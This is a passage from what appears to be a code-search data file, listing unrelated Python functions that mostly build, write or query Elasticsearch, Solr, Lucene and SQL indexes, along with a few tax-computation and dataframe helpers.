(\\\"Create index using function in: {}\\\".format(index_func_path))\\n\\t\\t\\turl = \\\"https://{}/{}/_design/view\\\".format(\\n\\t\\t\\t\\tself.cloudanthost, db_name)\\n\\t\\t\\tresponse = self.r.put(url, data=payload)\\n\\t\\t\\tassert response.status_code == 201\",\n \"def index(self, index):\\n index.column_protein[self.column].add((self.protein,self.protein_res))\\n index.protein_domain[(self.protein.id,self.protein_res)] = (self.domain,self.domain_res)\\n index.domain_structure[(self.domain.id,self.domain_res)].add((self.structure,self.structure_res))\\n index.structure[(self.structure.index, self.structure_res)] = self\",\n \"def test_total_totals_index():\\n pressure = np.array([1008., 1000., 947., 925., 921., 896., 891., 889., 866.,\\n 858., 850., 835., 820., 803., 733., 730., 700., 645.,\\n 579., 500., 494., 466., 455., 441., 433., 410., 409.,\\n 402., 400., 390., 388., 384., 381., 349., 330., 320.,\\n 306., 300., 278., 273., 250., 243., 208., 200., 196.,\\n 190., 179., 159., 151., 150., 139.]) * units.hPa\\n temperature = np.array([27.4, 26.4, 22.9, 21.4, 21.2, 20.7, 20.6, 21.2, 19.4,\\n 19.1, 18.8, 17.8, 17.4, 16.3, 11.4, 11.2, 10.2, 6.1,\\n 0.6, -4.9, -5.5, -8.5, -9.9, -11.7, -12.3, -13.7, -13.8,\\n -14.9, -14.9, -16.1, -16.1, -16.9, -17.3, -21.7, -24.5, -26.1,\\n -28.3, -29.5, -33.1, -34.2, -39.3, -41., -50.2, -52.5, -53.5,\\n -55.2, -58.6, -65.2, -68.1, -68.5, -72.5]) * units.degC\\n dewpoint = np.array([24.9, 24.6, 22., 20.9, 20.7, 14.8, 13.6, 12.2, 16.8,\\n 16.6, 16.5, 15.9, 13.6, 13.2, 11.3, 11.2, 8.6, 4.5,\\n -0.8, -8.1, -9.5, -12.7, -12.7, -12.8, -13.1, -24.7, -24.4,\\n -21.9, -24.9, -36.1, -31.1, -26.9, -27.4, -33., -36.5, -47.1,\\n -31.4, -33.5, -40.1, -40.8, -44.1, -45.6, -54., -56.1, -56.9,\\n -58.6, -61.9, -68.4, -71.2, -71.6, -77.2]) * units.degC\\n\\n tt = total_totals_index(pressure, temperature, dewpoint)\\n assert_almost_equal(tt, 45.10 * units.delta_degC, 2)\",\n \"def calculate(index):\\n postingl1 = [len(x[0]) for x in index[0].values()]\\n print(\\\"Number of terms in index i1 : \\\" + str(len(postingl1)) + \\\"\\\\t\\\")\\n print(\\\"Maximum Length of Postings List : \\\" + str(max(postingl1)) + \\\"\\\\t\\\")\\n print(\\\"Minimum Length of Postings List : \\\" + str(min(postingl1)) + \\\"\\\\t\\\")\\n print(\\\"Average Length of Postings List : \\\" + str(sum(postingl1) / float(len(postingl1))) + \\\"\\\\t\\\")\\n print(\\\"Size of the file that stores the index i1 : \\\" + \\\\\\n str(os.stat('invertedindex1.txt').st_size) + \\\" bytes\\\\n\\\")\\n\\n postingl2 = [len(x[0]) for x in index[1].values()]\\n print(\\\"Number of terms in index i2 : \\\" + str(len(postingl2)) + \\\"\\\\t\\\")\\n print(\\\"Maximum Length of Postings List : \\\" + str(max(postingl2)) + \\\"\\\\t\\\")\\n print(\\\"Minimum Length of Postings List : \\\" + str(min(postingl2)) + \\\"\\\\t\\\")\\n print(\\\"Average Length of Postings List : \\\" + str(sum(postingl2) / float(len(postingl2))) + \\\"\\\\t\\\")\\n print(\\\"Size of the file that stores the index i2 : \\\" + \\\\\\n str(os.stat('invertedindex2.txt').st_size) + \\\" bytes\\\\n\\\")\\n\\n postingl3 = [len(x[0]) for x in index[2].values()]\\n print(\\\"Number of terms in index i3 : \\\" + str(len(postingl3)) + \\\"\\\\t\\\")\\n print(\\\"Maximum Length of Postings List : \\\" + str(max(postingl3)) + \\\"\\\\t\\\")\\n print(\\\"Minimum Length of Postings List : \\\" + str(min(postingl3)) + \\\"\\\\t\\\")\\n print(\\\"Average Length of Postings List : \\\" + str(sum(postingl3) / float(len(postingl3))) + \\\"\\\\t\\\")\\n print(\\\"Size of the file that stores the index i3 : \\\" + \\\\\\n str(os.stat('invertedindex3.txt').st_size) + \\\" bytes\\\\n\\\")\\n\\n postingl4 = [len(x[0]) for x in index[3].values()]\\n print(\\\"Number of terms in index i4 : \\\" + str(len(postingl4)) + \\\"\\\\t\\\")\\n print(\\\"Maximum Length of Postings List : \\\" + str(max(postingl4)) + \\\"\\\\t\\\")\\n print(\\\"Minimum Length of Postings List : \\\" + str(min(postingl4)) + \\\"\\\\t\\\")\\n print(\\\"Average Length of Postings List : \\\" + str(sum(postingl4) / float(len(postingl4))) + \\\"\\\\t\\\")\\n print(\\\"Size of the file that stores the index i4 : \\\" + \\\\\\n str(os.stat('invertedindex4.txt').st_size) + \\\" bytes\\\\n\\\")\",\n \"def test_creating_index_type(self):\",\n \"def index_object(idxs=None):\",\n \"def create_index():\\n es = Elasticsearch()\\n es.indices.delete(index='drugaid-index')\\n with open('../data_crawling/demo_drug_data-fixed.json') as f:\\n drug_data = json.load(f)\\n\\n for drug in drug_data:\\n es.index(index='drugaid-index', doc_type='drug', body=drug)\",\n \"def __init__(self, csvfile, url, index, doc_type, username, password, chunk_size=100):\\n\\n self.csv_file = csvfile\\n self.es_url = url\\n self.es_main_index = index\\n self.es_main_type = doc_type\\n self.es = Elasticsearch(self.es_url,\\n http_auth=(username, password),\\n use_ssl=True,\\n verify_certs=True,\\n connection_class=RequestsHttpConnection)\\n self.chunk_size = chunk_size\\n\\n self.mapping = {\\n \\\"properties\\\": {\\n \\\"region\\\": {\\n \\\"type\\\": \\\"string\\\",\\n \\\"index\\\": \\\"not_analyzed\\\",\\n \\\"doc_values\\\": True,\\n \\\"fielddata\\\": {\\n \\\"loading\\\": \\\"eager_global_ordinals\\\"\\n }\\n },\\n \\\"agg_commodity\\\": {\\n \\\"type\\\": \\\"string\\\",\\n \\\"index\\\": \\\"not_analyzed\\\",\\n \\\"doc_values\\\": True,\\n \\\"fielddata\\\": {\\n \\\"loading\\\": \\\"eager_global_ordinals\\\"\\n }\\n },\\n \\\"agg_continent\\\": {\\n \\\"type\\\": \\\"string\\\",\\n \\\"index\\\": \\\"not_analyzed\\\",\\n \\\"doc_values\\\": True,\\n \\\"fielddata\\\": {\\n \\\"loading\\\": \\\"eager_global_ordinals\\\"\\n }\\n },\\n \\\"agg_subcontinent\\\": {\\n \\\"type\\\": \\\"string\\\",\\n \\\"index\\\": \\\"not_analyzed\\\",\\n \\\"doc_values\\\": True,\\n \\\"fielddata\\\": {\\n \\\"loading\\\": \\\"eager_global_ordinals\\\"\\n }\\n },\\n \\\"impactparameter\\\": {\\n \\\"type\\\": \\\"string\\\",\\n \\\"index\\\": \\\"not_analyzed\\\",\\n \\\"doc_values\\\": True,\\n \\\"fielddata\\\": {\\n \\\"loading\\\": \\\"eager_global_ordinals\\\"\\n }\\n },\\n \\\"commodity\\\": {\\n \\\"type\\\": \\\"string\\\",\\n \\\"index\\\": \\\"not_analyzed\\\",\\n \\\"doc_values\\\": True,\\n \\\"fielddata\\\": {\\n \\\"loading\\\": \\\"eager_global_ordinals\\\"\\n }\\n },\\n \\\"year\\\": {\\n \\\"type\\\": \\\"integer\\\"\\n },\\n \\\"Val\\\": {\\n \\\"type\\\": \\\"float\\\"\\n }\\n }\\n }\",\n \"def create_index(es_object, index_name):\\n created = False\\n # index settings\\n # the reason why we need mappings is avoid corrupting your data\\n settings = {\\n \\\"settings\\\": {\\n \\\"number_of_shards\\\": 1,\\n \\\"number_of_replicas\\\": 0\\n },\\n \\\"mappings\\\": {\\n # custom type called foods\\n \\\"foods\\\": {\\n \\\"properties\\\": {\\n # Specify that the food_name field contains text values.\\n \\\"food_name\\\": {\\n \\\"type\\\": \\\"text\\\",\\n \\\"fields\\\": {\\n \\\"raw\\\":{ \\n \\\"type\\\": \\\"keyword\\\"\\n } # The food_name.raw field can be used for sorting and aggregations\\n }\\n },\\n # Specify that the categories field contains text values.\\n \\\"categories\\\": {\\n \\\"type\\\": \\\"text\\\",\\n \\\"fields\\\": {\\n \\\"raw\\\":{ \\n \\\"type\\\": \\\"keyword\\\"\\n } # The categories.raw field can be used for sorting and aggregations\\n }\\n },\\n # Specify that the calories field contains integer values.\\n \\\"calories\\\": {\\n \\\"type\\\": \\\"integer\\\"\\n },\\n \\\"protein\\\": {\\n \\\"type\\\": \\\"integer\\\"\\n },\\n \\\"carbs\\\": {\\n \\\"type\\\": \\\"integer\\\"\\n },\\n \\\"fat\\\": {\\n \\\"type\\\": \\\"integer\\\"\\n }\\n \\n },\\n }\\n }\\n }\\n try:\\n if not es_object.indices.exists(index_name):\\n # Ignore 400 means to ignore \\\"Index Already Exist\\\" error.\\n es_object.indices.create(index=index_name, ignore=400, body=settings)\\n print('Created Index')\\n created = True\\n except Exception as ex:\\n print(str(ex))\\n finally:\\n return created\",\n \"def build_index(self):\\n self.rebuild_index()\",\n \"def to_index(self, index_type, index_name, includes=None):\\n return IndexField(self.name, self.data_type, index_type, index_name,\\n includes)\",\n \"def create_index(cls, engine):\\n\\n reg_imei = db.Index('reg_imei_index', cls.imei, postgresql_concurrently=True)\\n reg_imei.create(bind=engine)\\n\\n reg_normalized_imei = db.Index('reg_normalized_imei_index', cls.normalized_imei, postgresql_concurrently=True)\\n reg_normalized_imei.create(bind=engine)\",\n \"def create_index(self, dictfile):\\n\\n self.dictionary_file = dictfile\\n self.index_file = os.path.join(dictfile.split(\\\".\\\")[0] + \\\".index\\\")\\n\\n self.fp = codecs.open(self.dictionary_file, \\\"r\\\", encoding=\\\"utf-8\\\")\\n self.op = codecs.open(self.index_file, \\\"w\\\", encoding=\\\"utf-8\\\")\\n\\n # loop untill entire file is not finished\\n while True:\\n item = self.fp.readline()\\n if not item:\\n break\\n\\n # if the alphabet is currently not indexed then index it\\n # with current value of byte offset else increase the offset\\n # by the byte length of currently read word till you get\\n # new alphaet which is not indexed\\n\\n if len(item) > 0 and not item[0] in self.dictionary.keys():\\n self.dictionary[item[0]] = self.offset\\n self.offset = self.offset + len(item.encode(\\\"utf-8\\\"))\\n\\n #print \\\"Index for \\\" + self.dictionary_file + \\\" is created \\\"\\n\\n for index in self.dictionary:\\n value = self.dictionary.get(index, None)\\n if not value:\\n self.op.write(index + \\\"=%d\\\\n\\\" % value)\\n\\n # Clean up\\n self.fp.close()\\n self.op.close()\",\n \"def _compute_tax_id(self):\\n for inv in self:\\n for line in inv.invoice_line_ids:\\n line.tax_ids = line._get_computed_taxes()\\n\\n inv._recompute_dynamic_lines(recompute_all_taxes=True, recompute_tax_base_amount=True)\",\n \"def index_json_file(json_file, output_file, field=DEFAULT_JSON_FIELD,\\n min_chunk_size=_MIN_CHUNK_SIZE):\\n chunk_iterator = _iterate_archives(json_file, buffer_size=min_chunk_size)\\n for i, (arch, start_offset, end_offset) in enumerate(chunk_iterator):\\n _LOGGER.info('processed %s chunk, offset: %s-%s' % (i, start_offset, end_offset))\\n line_start, line_end = 0, 0\\n with gzip.open(arch, mode='rb') as json_in:\\n for line in json_in:\\n data = json.loads(line.decode(_TEXT_ENCODING))\\n line_start = line_end\\n line_end = line_start + len(line)\\n index = '%s|%s|%s|%s|%s' % (\\n data[field],\\n start_offset, end_offset - start_offset,\\n line_start, line_end - line_start,\\n )\\n output_file.write(index.encode(_TEXT_ENCODING) + b'\\\\n')\",\n \"def _commit_to_index( env_dict ):\\n from indexer.solr import adapter as adapter_file\\n\\n adapter = adapter_file.adapter(env_dict)\\n adapter.commit()\\n if env_dict[\\\"indexer\\\"][\\\"optimise\\\"]:\\n adapter.optimise(maxSegments=1)\",\n \"def write_sub_index(self):\\n for sie in self.subIndex:\\n self.db_file.write(sie.get_representation())\",\n \"def create_payload_index(self, collection_name: str, field_name: str):\\n return self.openapi_client.points_api.update_points(\\n name=collection_name,\\n wait='true',\\n collection_update_operations=FieldIndexOperationsAnyOf(create_index=field_name),\\n )\",\n \"def delete_index_field(DomainName=None, IndexFieldName=None):\\n pass\",\n \"def add_index(self, name, func):\\n assert name not in self.indices\\n info_name = 'index:%s:%s' % (self.info['name'], name)\\n info = self.store._get_info(info_name, index_for=self.info['name'])\\n index = Index(self, info, func)\\n self.indices[name] = index\\n if IndexKeyBuilder:\\n self._index_keys = IndexKeyBuilder(self.indices.values()).build\\n return index\",\n \"def _es_push_indexes(self, content):\\n for c in self.es_clients:\\n c.create_index(content)\",\n \"def store_index(self, index, doc_type, source_list, init_id):\\n\\n bulk_actions = []\\n doc_id = init_id\\n\\n for source in source_list:\\n data_body = ElasticSearchUtility.__index_data_body(index, doc_type, doc_id, source[\\\"_source\\\"])\\n bulk_actions.append(data_body)\\n doc_id += 1\\n\\n print 'inserting - ', len(bulk_actions)\\n helpers.bulk(self.es, bulk_actions)\",\n \"def index_fobj(fobj):\\n doc = fileobject_to_dict(fobj)\\n if doc is not None:\\n #print doc\\n SOLR.add(doc)\\n else:\\n pass\",\n \"def search_for(self, indexname, field, term, outfield=None):\\n url = \\\"{url_home}/{index}/{function}\\\".format(url_home=self.url_elastic, index=indexname, function=\\\"_search\\\")\\n match = {field: dict(query=term)}\\n data = dict(\\n query=match\\n )\\n res = rw.get(url, headers=self.headers, data=json.dumps(data))\\n return res\",\n \"def _save_percolator(self):\\n index = Content.search_objects.mapping.index\\n query_filter = self.get_content().to_dict()\\n\\n q = {}\\n\\n if \\\"query\\\" in query_filter:\\n q = {\\\"query\\\": query_filter.get(\\\"query\\\", {})}\\n else:\\n # We don't know how to save this\\n return\\n\\n # We'll need this data, to decide which special coverage section to use\\n if self.campaign:\\n q[\\\"sponsored\\\"] = True\\n q[\\\"start_date\\\"] = self.campaign.start_date\\n q[\\\"end_date\\\"] = self.campaign.end_date\\n\\n es.index(\\n index=index,\\n doc_type=\\\".percolator\\\",\\n body=q,\\n id=self.es_id\\n )\",\n \"def _get_ea_index():\\n ea_index_temp = {'Address': 5, 'Agency': 10, 'City': 4, 'Country': 3,\\n 'Datacenter': 7, 'Division': 8, 'Interface Name': 13,\\n 'Region_List': 2, 'Requester Email': 9, 'Site': 6,\\n 'VLAN Description': 11, 'IPR Designation': 16}\\n return ea_index_temp\",\n \"def build_index(self):\\r\\n date_time('Building indexes in citations table')\\r\\n self.cursor.execute('DROP INDEX IF EXISTS IDX_citations ;')\\r\\n self.cursor.execute('CREATE INDEX IDX_citations ON citations (citation);')\\r\\n self.conn.commit()\\r\\n gc.collect()\",\n \"def _add_as_field_if_not_in_index(\\n self, df, skilldf, fields=[\\\"model\\\", \\\"observation\\\", \\\"variable\\\"]\\n ):\\n for field in reversed(fields):\\n if (field == \\\"model\\\") and (self.n_models <= 1):\\n continue\\n if (field == \\\"variable\\\") and (self.n_variables <= 1):\\n continue\\n if field not in skilldf.index.names:\\n unames = df[field].unique()\\n if len(unames) == 1:\\n skilldf.insert(loc=0, column=field, value=unames[0])\\n return skilldf\",\n \"def WriteIndexFasta(seqWithAnno, fpdb, dbname, fpindex, cntdbfile, #{{{\\n record_offset, idSet, idtype):\\n if idtype == 0:\\n seqid = myfunc.GetSeqIDFromAnnotation(seqWithAnno)\\n elif idtype == 1:\\n seqid = myfunc.GetFirstWord(seqWithAnno.lstrip(\\\">\\\"))\\n if seqid in idSet:\\n return (fpdb, record_offset)\\n else:\\n seqWithAnno+=\\\"\\\\n\\\"\\n if fpdb == None:\\n dbfile=dbname+\\\"%d.db\\\"%(cntdbfile)\\n fpdb=open(dbfile, \\\"wb\\\")\\n print \\\"dbfile %s is created.\\\"%dbfile\\n fpindex.write(\\\"%s %d %d %d\\\\n\\\"%(seqid, cntdbfile, record_offset,\\n len(seqWithAnno)))\\n fpdb.write(\\\"%s\\\"%seqWithAnno)\\n record_offset += len(seqWithAnno)\\n idSet.add(seqid)\\n return (fpdb,record_offset)\",\n \"def calcumul_index(path,x,name_champ_label,indice2,list_drop,pathlist_names_feature):\\n sql=sqlite3.connect(path)\\n df=pd.read_sql_query(\\\"SELECT * FROM output\\\", sql)\\n df=df.groupby(\\\"originfid\\\").mean()\\n if 'band' in df.columns[6] :\\n globals()[\\\"df%s\\\"%x]=col_sqlite(path,x,list_drop,pathlist_names_feature)\\n label = globals()[\\\"df%s\\\"%x][name_champ_label]\\n globals()[\\\"%s\\\"%x]=globals()[\\\"df%s\\\"%x].astype(float)\\n print(indice2)\\n if indice2 not in ['NDVI', 'NDWI','SM','asc_vv','des_vv','asc_vh','des_vh','asc_userfeature1','des_userfeature1']:\\n name_indice=indice2\\n band1_indice=input(\\\"band ? :\\\")\\n band2_indice=input(\\\"band ? :\\\")\\n df_b1 = globals()[\\\"%s\\\"%x].filter(like=band1_indice)\\n df_b2 = globals()[\\\"%s\\\"%x].filter(like=band2_indice)\\n df_b1_col = df_b1.rename(columns=lambda x: x[-8:])\\n df_b2_col = df_b2.rename(columns=lambda x: x[-8:])\\n df_indice = (df_b2_col - df_b1_col)/(df_b2_col + df_b1_col)\\n globals()[\\\"df_%s\\\"%indice2] = df_indice.cumsum(axis=1)\\n \\n else:\\n df_indice = globals()[\\\"df%s\\\"%x].filter(like=indice2)\\n df_indice_col = df_indice.rename(columns=lambda x: x[-8:])\\n df_indice_col=df_indice_col.iloc[:-1]\\n globals()[\\\"df_%s\\\"%indice2] = df_indice_col.cumsum(axis=1)\\n \\n globals()[\\\"df_%s\\\"%indice2][name_champ_label]=label\\n globals()[\\\"df_%s\\\"%indice2]=globals()[\\\"df_%s\\\"%indice2].astype(float)\\n globals()[\\\"df_mean_%s\\\"%indice2]=globals()[\\\"df_%s\\\"%indice2].groupby(name_champ_label).mean().T \\n globals()[\\\"df_mean_%s\\\"%indice2].index=pd.to_datetime(globals()[\\\"df_mean_%s\\\"%indice2].index,format=\\\"%Y%m%d\\\")\\n else :\\n label = df[name_champ_label]\\n print(indice2)\\n if indice2 not in ['ndvi', 'ndwi','asc_vv','des_vv','asc_vh','des_vh','asc_userfeature1','des_userfeature1','SM']:\\n name_indice=indice2\\n band1_indice=input(\\\"band ? :\\\")\\n band2_indice=input(\\\"band ? :\\\")\\n df_b1 = df.filter(like=band1_indice)\\n df_b2 = df.filter(like=band2_indice)\\n df_b1_col = df_b1.rename(columns=lambda x: x[-8:])\\n df_b2_col = df_b2.rename(columns=lambda x: x[-8:])\\n df_indice = (df_b2_col - df_b1_col)/(df_b2_col + df_b1_col)\\n globals()[\\\"df_%s\\\"%indice2] = df_indice.cumsum(axis=1)\\n \\n else:\\n df_indice = df.filter(like=indice2)\\n df_indice_col = df_indice.rename(columns=lambda x: x[-8:])\\n globals()[\\\"df_%s\\\"%indice2] = df_indice_col.cumsum(axis=1)\\n \\n globals()[\\\"df_%s\\\"%indice2][name_champ_label]=label\\n globals()[\\\"df_mean_%s\\\"%indice2]=globals()[\\\"df_%s\\\"%indice2].groupby(name_champ_label).mean().T\\n globals()[\\\"df_mean_%s\\\"%indice2].index=pd.to_datetime(globals()[\\\"df_mean_%s\\\"%indice2].index,format=\\\"%Y%m%d\\\")\\n return globals()[\\\"df_mean_%s\\\"%indice2], globals()[\\\"df_%s\\\"%indice2]\",\n \"def _index(self):\\n return es.index(CLUSTER_NAME, 'record', self.dict, id=self.uuid)\",\n \"def field_index(self, field):\\r\\n idx = self.fields.index(field)\\r\\n if self.index:\\r\\n idx = self.index[idx]\\r\\n return idx\",\n \"def insert(input_json): \\n client, index_name = connection_es()\\n datetime_ = datetime.datetime.now().strftime(\\\"%Y.%m.%d_%H:%M:%S\\\")\\n fs_metadata_name = index_name+datetime_\\n res = client.index(index = fs_metadata_name, doc_type = 'nvisnx', body = input_json)\\n return res\",\n \"def generate_inv_index(people):\\n pass\",\n \"def save_index(self, fn):\\n utils.save_obj(self.inverted_idx, fn)\",\n \"def _compute_tax(self):\\n for line in self:\\n line.tax = (line.amount_untaxed * 14) / 100\",\n \"def step010():\\n logger.logMessage('Begin: Getting candidate documents from elasticsearch')\\n\\n def limitHour(d):\\n thish = d.start_time.tz_localize(tz='UTC')\\n nexth = thish + dt.timedelta(hours=1)\\n return { 'range': { 'time': {'gte':thish, 'lt':nexth } } }\\n \\n conn = sql.create_engine(pgurl)\\n client = es.Elasticsearch(hostlist)\\n dupesDF = pd.read_sql_table('weather_dupes',conn).set_index('time')\\n hours =dupesDF.to_period('H').reset_index()['time'].unique()\\n ranges = [ limitHour(h) for h in hours ]\\n query = { \\n '_source': [ 'tsa','time' ],\\n 'query': { \\n 'bool': { 'should': ranges } \\n } \\n }\\n #logger.logMessage(level='DEBUG',message='Query body: {0}'.format(query))\\n hits = eshelp.scan(client=client,index=indexName,doc_type='doc',query=query)\\n numRecs = 0\\n with open(candidatesFile,'w') as f:\\n for h in hits:\\n src = h['_source']\\n tsa = int(src['tsa'])\\n time = src['time']\\n docid = h['_id']\\n idx = h['_index']\\n f.write(f'{tsa:014d};{time:25s};{docid:32s};{idx:32s}\\\\n') \\n numRecs += 1\\n if numRecs % 1000 == 0:\\n logger.logMessage(level='DEBUG',message=\\\"{0:9d} records written\\\".format(numRecs))\\n logger.logMessage(message=\\\"{0:9d} total records written\\\".format(numRecs))\\n logger.logMessage('End: Getting candidate documents from elasticsearch')\",\n \"def indexCranFull(path, writer):\\n # Title field type\\n tft = FieldType()\\n tft.setIndexed(True)\\n tft.setStored(True)\\n tft.setTokenized(TokenizeFields)\\n tft.setIndexOptions(FieldInfo.IndexOptions.DOCS_AND_FREQS) #only index the document and frequency data\\n\\n\\n # Author field type\\n aft = FieldType()\\n aft.setIndexed(True)\\n aft.setStored(True)\\n aft.setTokenized(TokenizeFields)\\n aft.setIndexOptions(FieldInfo.IndexOptions.DOCS_AND_FREQS_AND_POSITIONS) #index the document, term frequency and position data\\n\\n\\n # Content field type\\n cft = FieldType()\\n cft.setIndexed(True)\\n cft.setStored(True)\\n cft.setTokenized(True)\\n cft.setIndexOptions(FieldInfo.IndexOptions.DOCS_AND_FREQS_AND_POSITIONS)\\n\\n txt = open(path)\\n \\\"\\\"\\\"\\n cran documents are listed in this order:\\n .I # -> ignore\\n .T -> starting on the next line, multi-line title\\n .A -> on the next line, multiple authored separated by 'and'\\n .B -> on the next line, ignore\\n .W -> starting on the next line, multi-line body (content)\\n \\\"\\\"\\\"\\n docid = 0\\n debug = False\\n while True: # in each iteration, read all the lines corresponding to a document\\n line = txt.readline()\\n\\n if line == '':\\n break\\n\\n if docid == 1400:\\n debug = True\\n\\n if line.startswith('.I'):\\n docid = int(line.split(' ')[1].strip())\\n continue\\n\\n if line.startswith('.T'):\\n title = ''\\n while True:\\n line = txt.readline()\\n if line.startswith('.A'):\\n break\\n title = ' '.join([title, line]).strip()\\n\\n line = txt.readline()\\n # authors = ' '.join(line.split('and'))\\n authors = line.strip()\\n\\n #.B, its corresponding line and .W\\n txt.readline()\\n txt.readline()\\n txt.readline()\\n body = ''\\n while True:\\n line = txt.readline()\\n if line.startswith('.I'):\\n docid = int(line.split(' ')[1].strip())\\n break\\n if line == '':\\n break\\n body = ' '.join([body, line]).strip()\\n\\n doc = Document()\\n doc.add(Field(title_field, title, tft))\\n doc.add(Field(author_field, authors, aft))\\n doc.add(Field(content_field, body, cft))\\n doc.add(IntField(docid_field, docid, Field.Store.YES))\\n writer.addDocument(doc)\",\n \"def index(self, name, file, passages, index_name=\\\"default\\\"):\\n raise NotImplementedError()\",\n \"def clean_and_save_country(country_name, df):\\n drop_columns = ['Lat', \\n 'Long', \\n 'Province/State']\\n\\n df.drop(columns=drop_columns, inplace = True)\\n df_group = df.groupby(['Country/Region'])\\n\\n country = df_group.get_group(country_name)\\n country.drop(columns = ['Country/Region'], inplace=True)\\n country = country.agg(['sum'])\\n country = country.T\\n country.reset_index(level=0, inplace=True)\\n country['index'] = pd.to_datetime(country['index'])\\n country.rename(columns={'index': 'date'}, inplace=True)\\n\\n country.to_csv('../data/' + country_name + '_timeseries.csv', index=False)\",\n \"def createSpatialIndex(self, schema, table, column):\\r\\n index_name = '{}_{}_idx'.format(table, column)\\r\\n return self.runSql('CREATE INDEX {} ON {} USING gist ({})'.format(index_name, self.encodeTableName(schema, table), self.encodeColumnName(column)))\",\n \"def index(self, model_name, field_name, force=False):\\n model = self.get_model(model_name)\\n field = model[field_name]\\n if 'index' in field:\\n if field['index'] is False and force is False:\\n raise ModelIndexError(\\n \\\"Field definition has index: False. \\\"\\n \\\"Use force=True to override.\\\")\\n collection = self.get_collection(model_name)\\n collection.ensure_index(field_name)\",\n \"def create_index(es_object, index_name):\\n created = False\\n \\\"\\\"\\\" index settings \\\"\\\"\\\"\\n settings = {\\n \\\"settings\\\": {\\n \\\"number_of_shards\\\": 1,\\n \\\"number_of_replicas\\\": 0\\n },\\n \\\"mappings\\\": {\\n \\\"physicians\\\": {\\n \\\"dynamic\\\": \\\"strict\\\",\\n \\\"properties\\\": {\\n \\\"overview\\\": {\\n \\\"type\\\": \\\"text\\\"\\n },\\n \\\"full_name\\\": {\\n \\\"type\\\": \\\"text\\\"\\n },\\n \\\"years_of_practice\\\": {\\n \\\"type\\\": \\\"text\\\"\\n },\\n \\\"language\\\": {\\n \\\"type\\\": \\\"text\\\"\\n },\\n \\\"office_location\\\": {\\n \\\"type\\\": \\\"text\\\"\\n },\\n \\\"hospital_affiliation\\\": {\\n \\\"type\\\": \\\"text\\\"\\n },\\n \\\"specialties\\\": {\\n \\\"type\\\": \\\"text\\\"\\n },\\n \\\"education_and_medical_training\\\": {\\n \\\"type\\\": \\\"text\\\"\\n },\\n \\\"certification_and_licensure\\\": {\\n \\\"type\\\": \\\"text\\\"\\n },\\n }\\n }\\n }\\n }\\n\\n try:\\n if not es_object.indices.exists(index_name):\\n # Ignore 400 means to ignore \\\"Index Already Exist\\\" error.\\n es_object.indices.create(index=index_name, ignore=400, body=settings)\\n print('Created Index')\\n created = True\\n except Exception as ex:\\n print(str(ex))\\n finally:\\n return created\",\n \"def _compute_tax_id(self):\\n for order in self:\\n order.order_line._compute_tax_id()\",\n \"def build_index():\\n print \\\"building index..\\\"\\n\\n index_dir = INDEX_DIR_CODE\\n if TEST_COLLECTION:\\n index_dir = INDEX_DIR_TEST\\n CR_DOCS_DB.drop()\\n CR_DOCS_DB.ensure_index(\\\"code_id\\\", unique=True)\\n if os.path.exists(index_dir):\\n shutil.rmtree(index_dir)\\n os.mkdir(index_dir)\\n schema = get_schema()\\n storage = FileStorage(index_dir)\\n ix = storage.create_index(schema)\\n w = ix.writer()\\n print \\\"finding posts..\\\"\\n posts_with_code = POSTS_DB.find({\\\"answers.Body\\\": {\\\"$regex\\\": \\\"/.*<code>.*/\\\"}}, timeout=False)\\n print \\\"adding files..\\\"\\n q = add_from_file(w) if TEST_COLLECTION else 0\\n for i, question in enumerate(posts_with_code):\\n if TEST_COLLECTION:\\n q += add_one_code(w, question, q)\\n if q > 999:\\n break\\n else:\\n q += add_doc(w, question)\\n if i % 1000 == 0 and not i == 0:\\n print \\\"commit number:\\\", str(i/1000), \\\"with\\\", q, \\\"codes\\\"\\n w.commit()\\n w = ix.writer()\\n\\n w.commit()\\n posts_with_code.close()\\n print \\\"the index was built!\\\"\\n return ix\",\n \"def write_field(self, fieldname):\\n raise NotImplementedError\",\n \"def index_placetypes(self, file_path):\\n\\n datadir = f'{file_path}/data'\\n logging.debug(\\\"Indexing %s\\\", datadir)\\n\\n docs = []\\n counter = 0\\n for root, _, files in os.walk(datadir):\\n for file in files:\\n if '.json' in file:\\n placefile = os.path.join(root, file)\\n logging.info(\\\"Loading %s\\\", placefile)\\n with open(placefile, encoding='UTF-8') as ifh:\\n doc = json.load(ifh)\\n doc['_index'] = self.index\\n doc['_id'] = doc['id']\\n docs.append(doc)\\n counter = counter + 1\\n\\n if docs:\\n helpers.bulk(self.esclient, docs)\\n\\n logging.info(\\\"Placetypes added %s docs\\\", counter)\\n logging.info(\\\"Finished indexing %s\\\", datadir)\",\n \"def entities_write_index(schema):\\n schema = model.get(schema)\\n return schema_index(schema, SETTINGS.INDEX_WRITE)\",\n \"def get_full_tax(idx):\\n logging.info('Compiling the taxonomy for all genomes...')\\n tax_idx = collections.defaultdict(dict)\\n for cluster_id,v in idx.items():\\n for tax,vv in v.items():\\n for genome_id,x in vv.items():\\n tax_idx[tax][genome_id] = x['genome_len']\\n n_genomes = 0\\n for tax,v in tax_idx.items():\\n n_genomes += len(v.keys())\\n logging.info(' Total number of genomes: {}'.format(n_genomes))\\n # return\\n return tax_idx\",\n \"def index(self, field):\\r\\n\\r\\n try:\\r\\n index = self._field_names.index(unicode(field))\\r\\n except ValueError:\\r\\n raise KeyError(\\\"Field list has no field with name '%s'\\\" % unicode(field))\\r\\n\\r\\n return index\",\n \"def write_index_data(dir,data):\\n db = IndexDb(dir)\\n result = db.write_to_index(data) \\n return result\",\n \"def index_terms(self):\\n [[self.set_postings(term, id) for term in NLProcessor.process(doc)] for id, doc in\\n self.doc_store.dict.iteritems()]\",\n \"def create_indexes(create_func):\\n\\tfor set_name, index_path, index_name in zip(SET_NAMES, INDEX_PATHS, INDEX_NAMES):\\n\\t\\tcreate_func(set_name, index_path, index_name)\",\n \"def fdaAssay(request):\\n\\tip = get_ip(request, right_most_proxy=True)\\n\\tIpAddressInformation.objects.create(ip_address=ip)\\n\\n\\tcontextres =[]\\n\\t#build elasticsearch query to search data\\n\\tquery={\\\"query\\\": {\\n\\t\\t\\\"bool\\\": {\\n\\t\\t\\t\\\"must\\\": [\\n\\t\\t\\t\\t{\\\"match\\\": {\\\"Assays for FDA approved Marker\\\": \\\"Yes\\\"}},\\n\\t\\t\\t\\t{\\\"match\\\": {\\\"UniprotKb entry status\\\": \\\"Yes\\\"}}\\n\\t\\t\\t]\\n\\t\\t}\\n\\t}\\n\\t}\\n\\t#generate random file name to store search result in json 